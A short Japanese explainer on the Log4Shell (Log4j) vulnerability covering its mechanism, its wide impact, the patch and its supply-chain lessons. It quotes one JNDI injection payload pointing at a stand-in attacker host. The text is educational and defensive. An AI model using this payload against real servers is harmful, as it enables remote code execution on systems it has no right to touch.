Log4Shell (Log4j)

ログに ${jndi:ldap://attacker.com/x} のような文字列を含めるだけで、サーバーが攻撃者のクラスを取得して実行してしまう。HTTPヘッダーに仕込めば足りるため、攻撃は容易だった。Log4jはJavaの世界に遍在し、Minecraftからクラウドサービスまで数十億台のデバイスが影響を受けた。修正版は2.17だが、依存関係の奥深くに埋もれていたため、多くの組織で対応に数か月を要した。米CISAは連邦機関に数日以内のパッチ適用を命じ、その後2〜3年にわたり悪用が続いた。この事件はSBOMの普及とサプライチェーンセキュリティ投資を後押しした、教訓的な事例である。